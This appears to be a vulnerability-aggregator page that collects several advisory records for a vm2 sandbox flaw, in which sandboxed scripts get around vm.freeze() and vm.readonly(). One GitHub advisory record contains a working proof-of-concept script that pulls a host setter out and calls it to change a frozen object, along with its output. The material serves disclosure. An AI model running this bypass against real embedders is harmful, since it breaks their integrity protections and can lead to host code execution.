vm2 3.9.6 before 3.11.7 Sandbox Bypass via Accessor Descriptor

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

vm2 versions from 3.9.6 before 3.11.7 fail to properly restrict access to accessor properties on frozen objects, allowing sandboxed scripts to bypass vm.freeze() and vm.readonly() protections. Attackers can use Object.getOwnPropertyDescriptor() or __lookupSetter__() to extract and invoke host object setters directly, mutating properties the embedder explicitly marked read-only.

Source published

17 Sep 2026 13:46:09 UTC

Source modified

21 Sep 2026 17:14:33 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 6.3 CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N

CVSS 3.1 · 4.0 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N

vm2 versions from 3.9.6 before 3.11.7 fail to properly restrict access to accessor properties on frozen objects, allowing sandboxed scripts to bypass vm.freeze() and vm.readonly() protections. Attackers can use Object.getOwnPropertyDescriptor() or __lookupSetter__() to extract and invoke host object setters directly, mutating properties the embedder explicitly marked read-only.

Source published

Sep 17, 2026, 1:46:09 PM (timezone not stated)

Source modified

Sep 21, 2026, 5:14:33 PM (timezone not stated)

Observed here

11 Nov 2026 17:05:15 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 6.3 CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N

vm2 versions from 3.9.6 before 3.11.7 fail to properly restrict access to accessor properties on frozen objects, allowing sandboxed scripts to bypass vm.freeze() and vm.readonly() protections. Attackers can use Object.getOwnPropertyDescriptor() or __lookupSetter__() to extract and invoke host object setters directly, mutating properties the embedder explicitly marked read-only.

Source published

17 Sep 2026 14:18:00 UTC

Source modified

21 Sep 2026 18:17:15 UTC

Observed here

25 Oct 2026 16:19:22 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 6.3 CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 4.0 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N

### Summary Untrusted JavaScript running inside `new VM().run()` / `new NodeVM().run()` can bypass `vm.freeze()` / `vm.readonly()` and mutate a host object the embedder explicitly marked read-only - the documented contract is "prevent sandboxed scripts from adding, changing, or deleting properties". If the frozen host object has an accessor (get/set) own-property, the sandbox can read the host setter back out via `Object.getOwnPropertyDescriptor()` and call it directly; the call lands in `BaseHandler.apply` which unwraps the readonly proxy to the raw host object and runs the host setter against it. No non-default `VM`/`NodeVM` options are required; the only precondition is that the embedder froze an object whose shape includes an accessor property. A second route to the same sink exists via `__lookupSetter__`. ### PoC ```js // poc.js 'use strict'; const { VM } = require('vm2'); let _level = 'safe'; const hostConfig = Object.defineProperty({}, 'level', { get() { return _level; }, set(v) { _level = String(v); }, enumerable: true, configurable: true, }); const vm = new VM(); vm.freeze(hostConfig, 'cfg'); // Baseline - documented barriers hold: vm.run(`cfg.level = 'via-set';`); vm.run(`try { Object.defineProperty(cfg, 'level', {value: 'via-dP'}); } catch (e) {}`); console.log('after [[Set]]/defineProperty:', _level); // → "safe" // Bypass - sandbox mutates host via accessor descriptor: vm.run(` const d = Object.getOwnPropertyDescriptor(cfg, 'level'); d.set.call(cfg, 'PWNED'); `); console.log('after getOwnPropertyDescriptor→set.call:', _level); // → "PWNED" // Variant - same sink via __lookupSetter__: vm.run(`cfg.__lookupSetter__('level').call(cfg, 'PWNED-2');`); console.log('after __lookupSetter__:', _level); // → "PWNED-2" ``` ```sh node poc.js ``` Observed output: ``` after [[Set]]/defineProperty: safe after getOwnPropertyDescriptor→set.call: PWNED after __lookupSetter__: PWNED-2 ``` The first line shows `ReadOnlyHandler`'s documented traps work; the next two show the sandbox mutated the host-side `_level` despite `vm.freeze()`. ### Impact A sandboxed script can mutate any accessor-backed property on any host object the embedder exposed via `vm.freeze()` / `vm.readonly()`, defeating the read-only contract. Data properties are not affected (`ReadOnlyHandler.set` / `.defineProperty` block those correctly). This is not a generic sandbox escape on its own; severity depends on what the embedder froze. If a frozen object's setter feeds into host control flow (e.g. `set scriptPath(v)`, `set handler(fn)`), this becomes a stepping-stone to host code execution in that embedder. **Preconditions**: embedder calls `vm.freeze()`/`vm.readonly()` on a host object that has at least one accessor own-property. Default `VM`/`NodeVM` options otherwise. **Blast radius**: integrity of the specific frozen host object(s); downstream impact is embedder-defined. **Persistence**: as persistent as the host object (typically process-lifetime).

Source published

1 Oct 2026 15:35:25 UTC

Source modified

1 Oct 2026 15:45:06 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N

Publisher rating · MODERATE

## Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-633r-hq9m-c4ff. This link is maintained to preserve external references. ## Original Description vm2 versions from 3.9.6 before 3.11.7 fail to properly restrict access to accessor properties on frozen objects, allowing sandboxed scripts to bypass vm.freeze() and vm.readonly() protections. Attackers can use Object.getOwnPropertyDescriptor() or __lookupSetter__() to extract and invoke host object setters directly, mutating properties the embedder explicitly marked read-only.

Source published

17 Sep 2026 15:32:16 UTC

Source modified

1 Oct 2026 15:45:06 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N

CVSS_V4 · CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Publisher rating · MODERATE